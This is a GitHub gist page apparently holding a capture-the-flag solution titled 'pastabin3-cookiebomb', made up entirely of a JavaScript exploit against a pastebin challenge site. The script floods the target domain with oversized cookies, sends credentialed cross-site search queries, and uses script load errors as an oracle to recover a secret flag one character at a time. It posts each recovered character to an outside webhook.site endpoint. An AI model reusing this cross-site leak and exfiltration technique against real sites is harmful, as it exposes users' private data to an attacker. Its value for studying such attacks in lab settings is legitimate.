Skip to content

Instantly share code, notes, and snippets.

@parrot409
Created July 12, 2021 19:19
Show Gist options
  • Save parrot409/6782796ba9be2088a57a679c27f4e037 to your computer and use it in GitHub Desktop.
Save parrot409/6782796ba9be2088a57a679c27f4e037 to your computer and use it in GitHub Desktop.
pastabin3-cookiebomb
<script>
document.cookie = 'wow1=' + 'A'.repeat(2000) + '; path=/;domain=.pastebin-3.mc.ax;';
document.cookie = 'wow2=' + 'A'.repeat(2000) + '; path=/;domain=.pastebin-3.mc.ax;';
document.cookie = 'wow3=' + 'A'.repeat(2000) + '; path=/;domain=.pastebin-3.mc.ax;';
var base = "flag{c";
var searchAlphabet = "1234567890abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ_{}-";
function tryWord(idx) {
if (idx >= searchAlphabet.length) throw "ENDED";
document.cookie = 'wow4=' + 'A'.repeat(1900) + '; path=/;domain=.pastebin-3.mc.ax; '
fetch("https://pastebin-3.mc.ax/home", {
mode: "no-cors",
credentials: "include"
}).then(r => {
fetch(`https://pastebin-3.mc.ax/search?query=${base}${searchAlphabet[idx]}`, {
mode: "no-cors",
credentials: "include"
}).finally(r => {
document.cookie = 'wow4=' + 'A'.repeat(1950) + '; path=/;domain=.pastebin-3.mc.ax; '
let script = document.createElement('script');
script.src = "https://pastebin-3.mc.ax/home";
script.onload = (e) => {
tryWord(idx + 1);
}
script.onerror = (e) => {
fetch("https://webhook.site/AA", {
method: "POST",
body: base + searchAlphabet[idx],
mode: "no-cors"
});
base += searchAlphabet[idx];
tryWord(0);
};
document.body.appendChild(script);
});
});
}
tryWord(0);
</script>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment